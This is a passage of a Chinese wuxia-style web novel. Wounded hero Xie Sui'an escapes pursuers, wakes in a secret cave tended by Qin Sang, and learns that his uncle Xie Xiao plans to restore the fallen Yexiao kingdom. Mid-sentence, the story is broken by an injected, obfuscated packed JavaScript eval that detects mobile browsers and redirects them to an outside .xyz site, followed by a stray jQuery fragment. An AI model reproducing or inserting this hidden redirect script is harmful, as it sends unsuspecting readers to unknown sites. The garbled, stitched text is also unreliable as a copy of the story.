谢岁安没命地往前游,他能闭气半炷香,于是憋着一口气,冲着水底一块巨大地石头游过去。
落水之前他大致判断过方向,自己现在游的方向,是朝着山体而去的。
一般来说,山边这种大石头的上半部分会露出水面,届时,他只要攀着大石头往上,纵越入山林,再借着树木丛林的掩护,逃跑机会就大得多了。
可是后背受了伤,体力渐渐在消失,他觉得自己手脚都有些酸软,稍稍回头,追他的人始终跟他保持差不多的距离。
该死的,为了立功,真是不要命了!
气竭之前,他终于游到大石边,然后摸着石头绕到背后,继而借力向上,终于浮出水面。
所料不错,这块大石就是从山体凸出来的一块大石头,石头边上还绕着一些粗壮根须,这些根须支撑了一棵歪脖子树,堪堪将上面一个仅容一人通过的小径给挡住。
出了水面,谢岁安觉得后背发麻且痛,没有水的浮力,一双腿像绑了大石头,几乎抬不起来。
但他还是弯腰捡了几颗碎石子在自己手心,大口喘气的同时,觑着刚刚出水的那水面。
来了,水面一个黑影。
他屏住呼吸,那人刚刚露头,就被一颗接着一颗的石头打得头破血流,还有一颗堪堪潜入他的脑门心!
终于,无声无息,追赶他的另一人也沉入水中。
山间的冷风吹在湿漉漉的身上,谢岁安打了个结实的冷战,脑子发昏,险些没站住。
他剥开歪脖子树的枝叶,纵身跳入小径。
小径幽深湿滑,长满青苔,可细看,上面有极浅的脚印。
脚印是从内向外的,所以里面还有路,就是不知通往何处。
谢岁安深吸一口气,强撑精神扶着石壁往前走,奇怪的是,越往内,石壁越显逼仄,最终到了尽头,是一面结结实实的石壁。
他用力推,推不动,手上还沾满了石壁上头的青苔,显然这里没人来。
死路一条?
不对,那地上的脚印是谁留下的?总不会是像他一样无意闯到这里来的人?
他没力气了,扶着石壁,缓缓坐在了地上。
背上的飞刀还在,还好,阻止了大量血流出,上岸以后,他觉得自己后背几乎麻木了。长时间的游水逃命,也让体力消耗过分,他抬头,通过狭窄的缝隙看天,然后将脑袋软软靠在手臂上。
耳朵放大到极致,如果听到任何风吹草动,就赶紧从山壁往上逃。就是这石壁光滑,可能有点难。
但也只能这样了。
山风很凉,只能听见自己粗重的呼吸声,糟糕的是,意识开始有点模糊。
不会要死在这里吧。
他胆寒地想,这也悲剧了,一点预兆都没有。除了秦桑,也没人知道他在这座岛上来,倘若真的死在这里,岂不是暴尸荒野,无人安葬?
他荒凉地想,人死以后会去哪儿呢,没有墓穴安葬,是否意味着即将成为孤魂野鬼?
真真是……太惨了……
眼皮重得很,他自己琢磨着先眯一会儿,然后找个有人的屋子,拿刀驾着脖子,威胁之,让其为自己找伤药,若是哪个姑娘见自己风度翩翩,说不得还会动了恻隐之心……
如是想着,渐渐失去了知觉。
做了一个梦,梦见自己,爷爷,还有四叔谢霄一起在山庄外的小河边钓鱼,一条大鱼咬了自己的钩,奔着扯着要逃,他站起来费劲地往回拉,边拉边喊:“快帮忙,好大一条鱼!”
可是喊了半天也没人来帮忙,鱼很大,力气也大,扯得他往岸边走,他焦急去看谢仲旭,谢仲旭却气定神闲地在一旁坐着,笑看着他。
忽然,背上被人重重一推,刺痛让他腿以软,再也拉不住那竿,连人带竿一起被拖入了水中。
他在水中挣扎,忽冷忽热,手里紧紧抓着那条竿,被一条大鱼拖着,不知会被扯向何方。
***
再醒来的时候,天已经黑了,只有极其微弱的昏沉光线从沉重的眼皮缝隙溜进来。
是月亮出来了?
正琢磨着,鼻尖传来一阵熟悉的温暖馨香,一只手覆上额头,有点凉,也有点软。
他往后瑟缩了一下,听见对方的声音:“终于醒了。”
秦桑?
触电一般,所有的昏沉在此刻如大雾被阳光驱逐,他睁开眼,看见眼前这个人,霎时间还以为在做梦。
秦桑拿手在他眼前晃:“看得见吗,不是伤了背,怎么眼睛会瞎……哎?……”
谢岁安一把抓住她的手:“你还好吗?”
秦桑:“哎你小心伤口,别这么用力……我好得很,是你不好,你中了别人的刀,但是你放心,刀已经拔出来了,还上了药,没流血了。”
谢霄还算有人性,把人丢进来,还晓得丢一包治伤的药。如果不是有包麻药,拔刀的时候这人就不只是简单哼哼几句那么简单了。
谢岁安的思绪渐渐清明,他抬头四顾,看见华丽的帐篷顶,而帐篷门外,入目可见是漆黑的一片,好片刻才辨认出,这竟是个……山洞??
他很茫然,那自己躺着的这张软床算什么?这是到了哪个仙人的府邸?
“这是在哪?”他问,嗓子喑哑低沉,说话都艰难。
秦桑终于可以把手抽回来,给他倒茶:“姜姨奶奶的秘密基地。”
“什么?”
谢岁安倒不是没听清,他是太惊讶,又问:“那我们还在岛上吗?我是怎么到这儿的?”
秦桑把温热的茶水送到他唇边,几乎是给他灌了,谢岁安就着茶杯喝了茶,舔舔干燥的嘴唇,黑亮的眸子被病气逼出一层晶莹的水雾。
秦桑放下茶杯,没好气地说:“还在无忧岛,我们猜的没错,无忧岛岛主,就是你那位好四叔。他把我关在这里的,你嘛,被他扔进来的。”
见谢岁安环顾四周,她又说:“这里的出口都被封死了,我找过了,找不到开关。”
谢岁安点点头,至少听明白了一件事,他是被他四叔给救的。
方才被太子的人追杀,又冷又累,几乎昏睡过去,是谢霄把他扔到这个山洞里,让秦桑照顾他,还给他治伤。
所以结论是,四叔可能有点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134990|168466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坏,但不那么坏,一定有什么难言的苦衷。
他撑着坐起来,身上干爽熨帖,后背的伤也裹得十分妥当,忽然脸红,问秦桑:“你帮我换的衣服?”
秦桑伸手撩了下碎发,神情淡定:“不然呢。”
谢岁安:“那我岂不是,被你看光了?”他掀开被子,看了眼,脸更红。
裤子也被换过了!
秦桑起身,去屏风架子上摸了摸他换下来的衣裳,还没干,因为洞里很潮湿,衣服干得幔。
“大丈夫不拘小节,生死面前,不要在意这种细节,你别忘了,我是个大夫!”好像找到笃定的理由,她理直气壮转回身,“大夫,治伤之时都要给病人宽衣解带的,这没什么,你别害羞。”
“……”谢岁安愣了片刻,为自己方才脑子里一闪而过的,想要对方负责的想法感到羞愧。
他咽了下喉咙:“我还想喝杯水。”
秦桑回来给他倒,又喝了两杯,体力终于渐渐恢复了一点。
人有力气就想作妖,他忽然掀开被子,却被秦桑伸手拦住:“哎你干什么?”
谢岁安:“……我想找找有没有出口。”
“我都找过了……”没说完,垂下手叹道,“行,你找吧,找得到算你本事。”
谢岁安缓缓起身,走出帐篷,抬起头,整个洞高而阔,洞顶黑漆漆的,只能看到隐约的凹凸不平的轮廓。
洞壁虽然粗糙,可洞内一应用器俱全,精致周到,大到这顶能住人的帐篷,对面一汪云深雾绕的温泉,小到烛台,盛水果的金器,烧水的小碳炉……还有,正前方,高台之上,雕刻精美,镶嵌宝玉的王座。
“这应该是夜枭国的王座。”
秦桑走到谢岁安身边,看着上方精美又带着些许粗犷意味的王座,想象曾经坐在上面的人,会是怎样的意气风发,豪迈魁梧。
她轻声说:“你四叔的身上,流着夜枭国王族的血,他想回去重建夜枭国。而且他的身边一定围着不少想要复国的人,潜伏在南无国的都城中,暗中行事。”
谢岁安的喉咙动了动,惊讶地看向秦桑。
四叔,夜枭国,复国……这些字眼他从来没想过。
良久,只是问了最关心的一个问题:“那他和爷爷的死有关系吗?”
秦桑摇头:“我也不知道。他跟我讲了许多故事,讲夜枭国的覆灭,讲姜姨奶奶被始乱终弃,讲她被当成弃子,指认为杀人凶手……”
她顿了顿,轻叹一声:“他说,姜姨奶奶是皇上安排在相爷身边的一颗棋子,时候到了,皇帝与相爷君臣离心,所以就让姜姨奶奶背了这口天大的锅。”
谢岁安侧首看她:“这些,都是四叔亲口讲的?”
秦桑点头:“嗯。”
一时间,两人都不知该说什么。
君臣离心吗?
下手的幕后真凶是皇上,执行的人是柔弱的姜姨奶奶吗?
好像合理,又好像哪里不太对。
谢仲旭执政两代朝廷,扶持两代君王,从佃户贫奴到一国首府,他眼光独到,运筹帷幄,就这么相信姜姨奶奶?